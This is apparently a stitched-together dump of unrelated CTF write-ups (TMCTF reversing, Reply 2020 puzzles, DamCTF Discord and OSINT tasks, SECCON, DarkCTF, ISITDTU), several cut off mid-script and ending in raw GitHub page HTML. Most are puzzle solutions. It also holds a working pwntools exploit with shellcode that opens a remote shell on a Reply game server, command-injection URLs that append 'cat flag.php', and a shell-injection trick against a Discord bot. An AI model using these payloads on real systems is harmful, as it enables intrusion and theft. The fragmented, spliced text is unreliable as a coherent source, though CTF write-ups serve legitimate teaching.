arrayOfString[0] = arrayOfString[1]; arrayOfString[1] = arrayOfString[2]; arrayOfString[2] = paramString; this.flagkey4_key = String.join("", (CharSequence[])arrayOfString);} ```Therefore, we need find three hashes that are incorrect, join them together is the key of fifth key
I used Python to find the three hashes:```pycity = {"Amsterdam" : "2dce283e0e268a42d62e34467db274c9c38c358f" ,"Aukland" : "794a4f25478d31bf87ece956fc7c95466a27c06a" ,"Austin" : "5b06f1f08503b4e6346926667d318f0f9d7e9fd1" ,"Bangalore" : "91f6fcb18482cc6fe303108f4283180b4fa20599" ,......... }key4 = "" for k,v in city.items(): if hashlib.sha1(k.encode()).hexdigest() != v: key4 = v + key4enc = open("assets/key_4/key_4.enc",'rb').read()arc4 = ARC4(key4)print(arc4.encrypt(enc))```And we found the fifth key!! We can decrypt the flag now!!```b'KEY4-4721296569'```## FlagAccording to the `FlagActivity` and the hint is the flag folder:```jsfunction decrypt_flag() { Log("DECRYPT THE FLAG()"); // flag=bin2String(process(key0,process(key1,process(key2,process(key3,process(key4, flag_ciphertext)))))); Log("KEY0" + key0); Log("KEY1" + key1); Log("KEY2" + key2); Log("KEY3" + key3); Log("KEY4" + key4); Log("FLAG " + flag); // return(flag); } function verify_unlocked() { return(true); }```We need to decrypt the flag recursively:```pyflag = open("assets/flag/flag.enc","rb").read()for i in range(5): arc4 = ARC4(key[i]) flag = arc4.encrypt(flag)print(flag)```Thats it!! Longest analysis for a CTF challenge!```TMCTF{pzDbkfWGcE}```[Full Python Script](solve.py) |
We solved the equations with sympy and got the flag after a while of running the following script.```from sympy import sympify, solveimport reimport requests
scount = 0symbols_dict = {}def symbol_from_unicode(c): global scount if c in symbols_dict: return symbols_dict[c] scount += 1 name = f'V{scount}V' symbols_dict[c] = name return name
def clean_eq(eq): eq = ''.join(symbol_from_unicode(c) if ord(c) > 128 else c for c in eq) eq = re.sub(r'(\d+|\))(V\d+V)', r'\1*\2', eq) eq = re.sub(r'(V\d+V)(\d+|\()', r'\1*\2', eq) eq = eq.replace('?', 'zz') return eq
def solve_system_equations(eqs): yes = [] for e in eqs: print(e) eq = sympify("Eq(" + e.replace("=", ",") + ")") yes.append(eq)
s = solve(yes) syms = {k.name: k for k in s.keys()} return s, syms
http = requests.Session()
def get_eqs_from_html(html): pp = re.search(r'"enigma">\s+([\s\S]+?)</div>', html).group(1) pp = pp.replace('', '').replace('', '') pp = re.findall(r'(.+?)', pp) return pp
(.+?)
def get_answer(eqs): sol, syms = solve_system_equations(map(clean_eq, eqs)) return sol[syms['zz']]
html = http.get('http://codingbox4sm.reply.it:1338/sphinxsEquaji').texteqs = get_eqs_from_html(html)ans = get_answer(eqs)while True: html = http.post('http://codingbox4sm.reply.it:1338/sphinxsEquaji/answer', data={'answer': ans}).text print(html) eqs = get_eqs_from_html(html) print(eqs) ans = get_answer(eqs) print(ans)``` |
The zip contains an image and a protected zip file. The image is some kind of bar code that after decoding will give you a code in some programing language: Java, Bash, Python, Javascript, PHP or Brainfuck (Yeah, im serious). This code will print the password for the protected zip after execution and after extract it we will get... another bar code and another protected zip file (Repeat this a lot of times)
This is the code we used to get the flag:
```import globimport reimport osimport sysimport contextlibimport execjsimport zxing
from io import StringIOfrom subprocess import Popen, PIPE, runfrom brainfuck import brainfuck
@contextlib.contextmanagerdef stdoutIO(stdout=None): old = sys.stdout if stdout is None: stdout = StringIO() sys.stdout = stdout yield stdout sys.stdout = old
def php(code): # open process process = Popen(['php'], stdout=PIPE, stdin=PIPE, close_fds=True)
# read output out = process.communicate(code.encode())[0]
# kill process try: os.kill(process.pid, signal.SIGTERM) except: pass
# return return out.decode()
def java(code): # open process process = Popen(['jshell'], stdout=PIPE, stdin=PIPE, close_fds=True)
# read output out = process.communicate(f'{code}\n {"Main.main(new String[0])"}\n'.encode())[0]
# kill process try: os.kill(process.pid, signal.SIGTERM) except: pass
strings_list = out.decode().split() return strings_list[len(strings_list)-2]
def bash(code): # open process process = Popen(['bash'], stdout=PIPE, stdin=PIPE, close_fds=True)
# read output out = process.communicate(code.encode())[0]
# kill process try: os.kill(process.pid, signal.SIGTERM) except: pass
return out.decode().strip()
checked_files = []
# Init readerreader = zxing.BarCodeReader()
# Get first file basenamebasename = glob.glob('*.zip')[0].split(".")[0]
while basename: # Try to decode image dataObject = reader.decode(f'{basename}.png') code = dataObject.raw
# Execute the code and get the pass print("=========EXTRACTED CODE=========") password = "" if(" |
## analysisWe get a binary and an full excution trace of one run of the binary. After analyzing the binary, we soon came to the conclusion, this is a handwritten RSA decryptiondoing C^D mod N (C is user input number). The intresting part here: for the modular power a [square and multiply](https://en.wikipedia.org/wiki/Exponentiation_by_squaring) algorithm is used. this algorithm is left shifting the bits of the userinput and if highest bit is one it will do modular multiplication, else nothing for calculating the RSA.
## insightso related to the fact we have an excution trace, we can look at the place in the code, where based on top most bit the decison is done, to do multiplication or not, and from that decision we can directly see the bitvalue, so all needed to do is to check every time the algo does that compare (highest bit 1 or 0) and record the bits.those bits converted to a decimal number will be our input to get the flag
```c...4013b6: 48 b8 00 00 00 00 00 movabs $0x8000000000000000,%rax4013c0: 48 39 c2 cmp %rax,%rdx
4013c3: 75 40 jne 401405 <main+0x1cf> <------401405: 8b 85 b0 f9 ff ff mov -0x650(%rbp),%eax
40140b: 48 98 cltq40140d: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx...```
## doing it with grep and other linux command line tools :-)
- grep the tracefile for the "jne 401405 <main+0x1cf>" at 4013c3 and output the following line, so we know where the execution went (-A 1)- drop grep line separators with --no-group-separator- drop the 4013c3 lines from the jne- use awk printing 0 or 1 depending on next lines address- evaluate that expression and put it into bc for converting to base 10- avoid line breaks in bc with BC_LINE_LENGTH = 0
## solution:echo "obase=10; ibase=2; $(grep --no-group-separator -A 1 4013c3 trace | grep -v '4013c3' | awk '{if($1 == "401405:") printf "0"; else printf "1";}') " | BC_LINE_LENGTH=0 bc
results in:244652648608644057289603953074612700175933964244789320848667909167563692702652547784242339814218808951063055612658793570186844889979282952606878226608877859935559988556621623278752812292605612612163883997532869509885618332866441068962865470136130272926263303521750180711550883814600026677234330838029265221441047841355637850083056067511836089295432603059046109298537904428654107114553910703320935211803599935665225999452564664140186232164739291375407556107412707105250411308366447742913058979723684840765449422267902293487537073300912104264330520400754843332881465525532116517816288168335852096828051764240859454454009518120111671812902113201938369763608841769720763131720010223805776325980208111929662026610968279056747490265115993253416851071451892127738460444147514901971784385322720069737101076139227245987315223123169336706863690888801293487213146614146679028050257150777887496982927824949105219206894794372697828812226397922441686397417061966543488748591869285400239357533529688996471390996874988047597260063994210684092801510867133594884893681119353051040329814500624965262408435785310992711659906711739870502390260550767314380870394028475183756688989994399612240550769839124489086507436798682013488698499282429664122768579273
which gives us the flag, when input into challenge executable :-)
#### dam{and_1nto_d4ta_depend3ncy}
macz |
# misc/electric-bovine @ DamCTF Oct. 2020
* challenge author: **Lyell Read*** solves: **51*** points: **468**
## Description
> Do androids dream of electric bovine? Find out on my new Discord server!
## Analysis
We are sent to a discord server named "Permissions pasture". The onlything we see is the people in the server and a "general" channel, wehave no writing permissions on this channel though.
We also get DM'd by the server's bot: "Secure Permissions Bot".
### Secure Permissions Bot

The only useful command at this point is the **about** command:

It directs us to the bots source code! And a rick-roll if we try tograb the bot token... ?♂️
### Source code
Available [here](https://gist.github.com/dunklastarn/d3e3ca30bb4f476221bf42faebb19a12).
### Getting higher permissions
We are made aware that there is a **botspam** channel, that wecurrently cannot see in the server. This tells us that there areother roles that we can potentially acquire.
By taking a look at the bot profile in the server, we find two newroles:

The next step is to use the **send_msg** command to send a messageto the server through the bot. Since there is no checks on input, wecan chain commands and our intent is to use **role_add** as the botto give us higher permissions.
After a few unsuccessful tries, this attempt had a new result:

Note here that what the **role_add** command wants is the user IDand the role ID (which can be found in the source code, or by rightclicking the role in the bot profile and grabbing its ID).
This attempt didn't work perfectly though, because we need to passan authentication check:
```py
def authenticate(author, authorizer, role):
# Derive a variant to make auth requests resolve uniquely variant = author.discriminator variant = int(variant * 4)
# Add author's name to their credential set author_credentials = [author.nick] # Add perms author_credentials.extend([str(int(y.id) + variant) for y in author.roles]) author_credentials.extend([y.name.lower() for y in author.roles])
# Add authorizer's name authorizer_credentials = [authorizer.name] # Add perms authorizer_credentials.extend([str(int(y.id) + variant) for y in authorizer.roles]) authorizer_credentials.extend([y.name.lower() for y in authorizer.roles])
# Add role name role_information = [role.name, str(int(role.id) + variant)]
permset = list( (set(author_credentials) & set(authorizer_credentials)) & set(role_information) )
if len(permset) >= 1: return True else: return False```
To simplify that:
First of all, the user's discriminator (the last 4 digits in thediscord username) is used to create a variant.
Three separate sets are created for user, bot, and role.
The user set contains the user's nickname on the server, the user's role ID's + variant, and the user's role names.
The bot set contains the bot's name, the bot's role ID's +variant, and the bot's role names.
The role set contains the role's name and the role's ID + variant.
Finally, to pass the authentication check, the intersection of the 3 sets has to have at least 1 element.
The intended solution here was to calculate the role ID + variantnumber and set your nickname to that number. However, we were toolazy for that, and instead just set our server nickname to "private", since the "private" entry appears in the other 2 sets already.
That being done, we retry our previous command:

### Getting the flag
Now that we have higher permissions, we can use the **cowsay**command.
Let's take a look at the important part of the cowsay command:
```py for char in arg: if char in " `1234567890-=~!@#$%^&*()_+[]\\{}|;':\",./?": await message.author.send("Invalid character sent. Quitting.") return
cow = "```\n" + os.popen("cowsay " + arg).read() + "\n```"```
We notice immediately that what the command does is pass our input to thecowsay command on the machine with the flag.
Many characters are disallowed, especially notable are `;` and `.` (dot).This means that we can't really try to pass `cat flag.txt`, or even just`flag.txt`. Armed with this knowledge, and noticing that the redirectioncharacters (`<` & `>`) are not disallowed, we deduce that the flag is in thefile `flag`, and we can direct the `flag` file's content to the cowsay command:
 |
# Reply-Security-Challenge-2020
Description:
```The space-time coordinates bring R-boy to Florence in 1320 AD. Zer0 has just stolen the unpublished version of the "Divine Comedy" from its real author, the "Wandering Poet", giving it to his evil brother, Dante.
Help the "Wandering Poet" recover his opera and let the whole world discover the truth.
Pswd: PoetaErranteIsMyHero!gamebox1.reply.it, port 1320, Pwd: PoetaErranteIsMyHero!```First step login.
```consolenc gamebox1.reply.it 1320Password: PoetaErranteIsMyHero!```And you enter a funny text based adventure, however only one answer works so there's no way to get into a dead end.
The Wandering Poet had his document stolen and is yelling from within a crowd about the theft. The crowd is calling him a liar. You decide to step in (that's the only choice you're given) and help him out. After a short conversation you're asked:
```Where are we going?:```
And you're given console output, displayed as a document encoded in hex:[Document](https://github.com/SpiritusSancti5/Reply-Security-Challenge-2020/blob/main/Document)
```pythonimport re doc = ''
with open('m100.txt','r') as f: for line in f: line = line.rstrip() doc += re.sub('[\W_]+', '', line)
print (doc)
hex_stuff = bytes.fromhex(doc).decode('utf-8')print(hex_stuff)```
Result is a QR code:

Once scanned you get:```Name : Ludovico ArrostoPostal address private Via Vittorio Emanuele II, 21Firenze Italy
email [email protected]
Organization Poetry Academy```
The answer to the previous question is:*Via Vittorio Emanuele II, 21*
The text adventure continues:
```"Where are we going?": Ludovico ArrostoI don't know where it is! Try again: Via Vittorio Emanuele II, 21
"You know where Ludovico Arrosto lives? Great! Let's go!"You and the Poeta Errante leave the house and start walking in the direction ofLudovico Arrosto's mansion...
You and the Poeta Errante arrive at Ludovico Arrosto's house. At a first glanceno one seems to be home.What do you want to do? [knock the door, look around]: knock the doorThere is nobody...What do you want to do? [knock the door, look around]: look around
You found the mailbox of Ludovico Arrosto's house. Since the president ofPoetry Academy isn't at home at the moment, you could leave a letter.What do you want to do? [open mailbox]: open mailboxIn order to open the mailbox you have to guess the 4 digits code (each positioncould contain a number from 0 to 9), given the following evidences:
3871 1 correct digit and in right position4170 1 correct digit and in wrong position5028 2 correct digits and in right position7526 1 correct digit and in right position8350 2 correct digits and in wrong position
Insert the code:```So this is the game of bulls and cows. The answer is:**3029**
```The mailbox opens!You ask to the Poeta Errante to write his indictment letter..."Ha-ha, leave it to me! Not surprisingly i am a poet!"The Poeta Errante write his letter, and insert it in the mailbox."Thank you again! Let's see what happens tomorrow. You can sleep in my housetonight, you deserve it!"You have a strange feeling, the history you know did not turn out this way...You return to the Poeta Errante's house, spend the evening there until you fallasleep... [Press Enter to continue]
Zzz... Zzz... Zzz...
You wake up with a start in the middle of the night. You are sweaty...You get up to drink a glass of water. The Poeta Errante is still sleepingWhat do you want to do? [go to bed, save the history]:
save the history
You decide to return to Ludovico Arrosto's house to destroy the letter of thePoeta Errante. Even if he is the real author of the Divina Commedia, in thehistory you know Dante is known as the poet who written it.You arrive in front of the mailbox. You open it and found the letter.What do you want to do? [destroy letter, return home]: return homeSo, why are you came here?
What do you want to do? [destroy letter, return home]: destroy the letterI don't understand.
What do you want to do? [destroy letter, return home]: destroy letter Are you sure? [yes, no]: yesReally? [yes, no]: yes
You rag the letter in thousand of pieces, and throw them around so no onecan find them. Then you return to the Poeta Errante's house to sleep...
[Press Enter to continue]
You wake up the next day, at dawn, and your mood is not the best. You and thePoeta Errante decide to go to the market town, to hear if there is any newsabout the letter. Once arrived you note that there is a minsterl in the centerof the square. What he says leaves no doubt:"Dante annouces his next opera! The Divina Commedia!""Dante annouces his next opera! The Divina Commedia!"The Poeta Errante does not understand what is going on...What do you want to do? [hug poeta errante, do nothing]: hug poeta errante
The Poeta Errante runs away, until he disappears from your sight. You have doneyour duty, and now it's time to leave. In this epoch you did not find Zer0.You return to Zer0's time machine you used to travel up here, but the spacetimecoordinates are all wrong. What a mess! Someone touched this machine when youwere with the Poeta Errante! There is the instructions manual opened on aparticular page and a little folded piece of paper.Do you want to open it? [yes, no]: yes
This communication method is something never seen in this epoch. It's not reallylike sending a big, whole, message, but, instead, dived it in little p...ieces,and send them one at time...
Do you want to return to the present? SOLVE THIS RIDDLE! AH AH AH!
Zer0```
The console displayed something which I first thought to be a hex dump that i had to fix:
[Zero's Riddle](https://github.com/SpiritusSancti5/Reply-Security-Challenge-2020/blob/main/Zer0's%20riddle)
Being stuck, i then looked at the last character of each chunk and then I thought I spotted the flag:**{FLG:i74370prrn343<}**Which was wrong.
However Jani, one of my team mates pointed out these are actually TCP packages have to be decoded (using a hex packet decoder) so you can reorder them based on the time received.
## FLAG
**{FLG:i7430prrn33743<}**
|
# misc/pretty-good (OSINT) @ DamCTF Oct. 2020
* challenge author: **Lyell Read*** solves: **30*** points: **483**
This was a fun **OSINT** challenge! I was second to submitthe flag on this one, almost first blood!
## Description
> Nothing like getting a project assignment on a Friday afternoon.>> Flag is the IP address (ex: `dam{169.254.42.42}`)
## Analysis
First of all, we are given an `assignment.zip` file. This zip archive containsa PDF file named `assignment.pdf` and a picture named`CTG-2020-10-0001-S1-001.jpeg`.
### Assignment
This assignment document reads like an FBI document:

It's two pages long but we retain only two very important things that readlike clues:

So, **Keybase** is crucial to solving this case. The case will be considered solvedonce we find an IP address linked to this individual (the IP address is the flag).
### Keybase
> Keybase is secure messaging and file-sharing.> We use public key cryptography to ensure your messages stay private.> Even we can’t read your chats.
If we take a deeper look into keybase, we can see that to encrypt a message, itprompts us into using **PGP**, this is very important later on.
### Getting a foothold
Since we don't really have anything to use for keybase at the moment, we takea look at the other resource we have:

It's someone's portrait. We could try to do some stego-analysis on it but sincewe're working on an **OSINT** challenge, our best bet is probably to do areverse image search on it.
I first tried this on google, but that didn't give us any useful results.Next, I tried **tineye**, and voilà:

An exact image match that links us to a[blog](https://rayhaanhodgson.com/about-rayhaan-hodgson/)! Are we sure thisis it?

Yes, we are.
### Next step
We spend some time going through the blog, how it is setup, whether there issome sql injection to be done or not, but then once again we realise this is an**OSINT** challenge.
In one of the subject's blog posts, we learn that he has recently setup twogithub profiles:

In the same blog post he also mentions he has recently learned about **ssh** and**gpg**. Big hints!

Now then, we know we have two github profiles to look for!
### Finding the github profiles
The only thing we really have to go off of here is the subject's name, so wejust chuck that into GitHub's search engine. We find what we were looking for!

Sadly we only find one profile though, his work profile.
After taking a look at this user's repositories and commits, nothing of interestseems to be there. If we remember our previous clues though, in this case **PGP**, we could remember that GitHub has a way to verify the legitimacy ofcommits, wonder what they use for that?

Oh. Of course. So, let's check if our subject's commits are verified:

Yup! We find a key ID: **D66D33D350AAB609**.
### Putting the GPG/PGP clues together
Some people didn't really know or think that this key ID was important. If wethink about the clues we have, and the clues we haven't used though, we noticethat **Keybase** and **PGP** seem to belong together. So we head on over to[keybase.io](https://keybase.io) and try to lookup the GPG key ID we just found:

We immediately see the second github profile from the search results.
## Finding the flag
This personal github profile has one repository named **dotfiles**. On thecurrent commit there doesn't seem to be anything interesting, but lookingthrough the commit history we notice this:

Oh? SSH config? That sounds like there could be some IP addresses involved!
We take a look at the commit diff and voilà:

There's the IP address!
Flag: **dam{182.24.89.5}** |
## TLDR2 bugs:- leak stack buffer by default- jump to user supplied address, without any check## Program descriptionTwo files are given, [client](https://github.com/fibonhack/fibonhack.github.io/blob/master/_posts/2020/reply2020/DeserCalc.EXE/server?raw=true) and [server](https://github.com/fibonhack/fibonhack.github.io/blob/master/_posts/2020/reply2020/DeserCalc.EXE/client?raw=true) , but only the server is worth analyzing.
It is a forking server, the function which handles the connection is located @ 0x08049882.
It exchanges messages with the client by using a struct like that```cstruct RPC { uint32 addr; char msg[100];}```
The handler function:- check if the first msg received is `JustPwnThis!`- reply with the string OK- send an RPC object containing the address of do_calculation- receive an RPC object and assert that received_RPC.addr == do_calculation- then send another RPC object where send_RPC.addr == do_calculation - stack_buffer - So it is easy to calculate stack_buffer = do_calculation - send_RPC.addr- receive 2 RPC ojects and execute the function @ RPC[1].addr
handler pseudocode:```cint handler(int client_fd)
{ char buf [100]; char *local_18; RPC *rpc_obj; log('I',"PID %d: %s\n",_Var1,"Incoming connection...", getpid()); if check_password(client_fd,"JustPwnThis!") == 0) { send_nullterminated(client_fd,"WRONG\n"); return -1; } else { send_nullterminated(client_fd,"OK\n"); send_RPC_docalc(client_fd); rpc_obj = alloc_RPC_structs(2); if (check_RPC_addr_and_leak_param3(client_fd,rpc_obj + 1,buf) == 0) { log('W',"PID %d: %s\n",_Var1,"exiting. reason: wrong RPC address...", getpid()); return -1; } else { recv_2_RPC_structs(client_fd,rpc_obj); local_18 = (char *)(*(code *)rpc_obj[1].RPC_addr)(buf); send_RPC_docalc_msg(client_fd,local_18); log('I',"PID %d: %s\n",_Var1,"exiting normally...", getpid()); return 0; } }}```
## Exploitchecksec server output:``` Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)```NX is disabled so it is possible to just jump at the stack buffer leaked by the server.
The shellcode closes stdin,stdout, redirect stdin and stdout to the client_fd with dup2(client_fd,1) dup2(client_fd,0), then it does the classic execve(binbash)
```pythonfrom pwn import *from binascii import hexlify
# Set up pwntools for the correct architecturecontext.update(arch='i386')exe = ELF('./server')
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.REMOTE: return remote('gamebox1.reply.it', 27364) else: return remote('127.0.0.1', 8000)
def RPC(addr, msg): while len(msg) != 100: msg += b'\x41' return p32(addr) + msg
shellcode = ''' mov ebx, 0x08049300 # close
# close(0) push 0 call ebx
# close(1) push 1 call ebx
mov ebx, 0x08049050 # dup2
# dup2(4,0) push 0 push 4 call ebx
# dup2(4,1) push 1 push 4 call ebx
# execve binbash xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp mov ecx, eax mov edx, eax mov al, 0xb int 0x80'''
io = start()
password = b'JustPwnThis!'io.recvuntil(b'Password:')io.sendline(password)io.recvuntil(b'OK\n')
io.recv()
DO_CALCULATION = 0x0804a8c8
scode = asm(shellcode, arch = 'i386')
# this scode is gonna be stored in buf of handler functionpayload = RPC(DO_CALCULATION, scode)io.send(payload)RPC1 = io.recv()bufleak = (DO_CALCULATION - u32(RPC1[:4])) & 0xffffffffprint ("buf @ %08x" % (bufleak))
'''Sending - garbage RPC- RPC (function_to_execute=scode_location, garbage)'''io.send(RPC(0,b'')+RPC(bufleak,b''))
# get a shellio.interactive()``` |
# SECCON 2020 Online CTF - Capsule & Beginner's Capsule - Author's Writeup
## Author
@hakatashi
## Challenge Summary
The task is quite obvious from the appearence of the given website.

You can arbitrarily change the code below the given header and the task is to get the value stored in ESNext's [Private Class Field](https://v8.dev/features/class-fields#private-class-fields). *Decapsulation.*
```typescriptimport * as fs from 'fs';// @ts-ignoreimport {enableSeccompFilter} from './lib.js';
class Flag { #flag: string; constructor(flag: string) { this.#flag = flag; }}
const flag = new Flag(fs.readFileSync('flag.txt').toString());fs.unlinkSync('flag.txt');
enableSeccompFilter();
// input goes here```
## Beginner's Capsule
The private field in TypeScript is [implemented with WeakMap](https://github.com/Microsoft/TypeScript/pull/30829). If you transpiled the given code to JavaScript, [the result](https://www.typescriptlang.org/play?#code/MYGwhgzhAEBi4HNoG8BQ1oGIBmiBc0EALgE4CWAdggNzrTAD2FxJArsEQyQBS5gIEWlBAEoUdDEQAWZCADociaAF5ofGnQC+qTUA) will be like the following.
```jsvar _flag;class Flag { constructor(flag) { _flag.set(this, void 0); __classPrivateFieldSet(this, _flag, flag); }}_flag = new WeakMap();```
`_flag` is easily accessible from the same scope, so you can get the flag by `console.log(eval('_flag.get(flag)'))`; |
# WEIRD ENCRYPTION> Points: 377
## Description> I made this weird encryption I hope you can crack it.>>[File](https://mega.nz/file/rt1GiIhb#YZzFsf07O-BVKugJSJoRQkazgs6I_pLMD_zISg6VGt0)>>[File](https://mega.nz/file/rt1GiIhb#YZzFsf07O-BVKugJSJoRQkazgs6I_pLMD_zISg6VGt0)
## SolutionThe easiest challenge. Just a little logic!
I wrote a script to get the index value of each characters of the ciphertext from the given `main_string` and store them in a list.
For each letter there existed a pair : **quotient** `c1` and **remainder** `c2` in the list respectively.
From the script it's clear the divisor in the case is 16 and what we need is the dividend **ASCII value of letter** and convert it to character.
So I apply a simple arithmetic : **dividend = divisor * quotient + remainder** to find ASCII values, convert them to character and finally get the text back.
```py#!/bin/env python3
with open("Encrypted", "r") as f: ct = f.read().replace("\n", "")
main_string="c an u br ea k th is we ir d en cr yp ti on".split()
st = []flag = []ch = ""i = 0
# To make a list st containing index of characters from main_stringwhile i<len(ct):
if (ct[i]=='c' and ct[i+1]!='r') or ct[i]=='u' or ct[i]=='k' or ct[i]=='d': ch = main_string.index(ct[i]) i += 1 else: ch = main_string.index(ct[i:i+2]) i += 2 st.append(ch)
# Calculating ASCII values and converting into characterfor i in range(0,len(st),2): flag.append(chr(16*st[i]+st[i+1]))print(''.join(flag))```
## Flag> Hello. Your flag is DarkCTF{0k@y_7h15_71m3_Y0u_N33d_70_Br3@k_M3}.
|
TL;DR This is a .NET app that takes in an input string and checks if it's the flag. The .dlls can be recovered with a tool called `mono_unbundle` and then imported into a tool like ILSpy. Once the source is decompiled, it's clear that the flag can be derived by solving for a polynomial function using hardcoded values. |
# Solution for Unexploitable (ISITDTU 2020)

Just use special character to escapse quote---
Break Permitted Herehttp://13.68.153.110/unexploitable/?host=8.8.8.8%82;%20cat%20flag.php;%20%82---
Private Use Onehttp://13.68.153.110/unexploitable/?host=8.8.8.8%91;%20cat%20flag.php;%20%91---
Private Use Twohttp://13.68.153.110/unexploitable/?host=8.8.8.8%92;%20cat%20flag.php;%20%92---
 |
tl;dr: index magic to overwrite return address without corrupting the canary.
[dark mode writeup here](https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/DamCTF/pwn_allokay/pwn_allokay_writeup.html) (https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/DamCTF/pwn_allokay/pwn_allokay_writeup.html) |
Flag plus input is compressed (deflate) and then encrypted (AES CTR). Using the resulting ciphertext length we can guess the flag one character at a time. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" />
<script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" 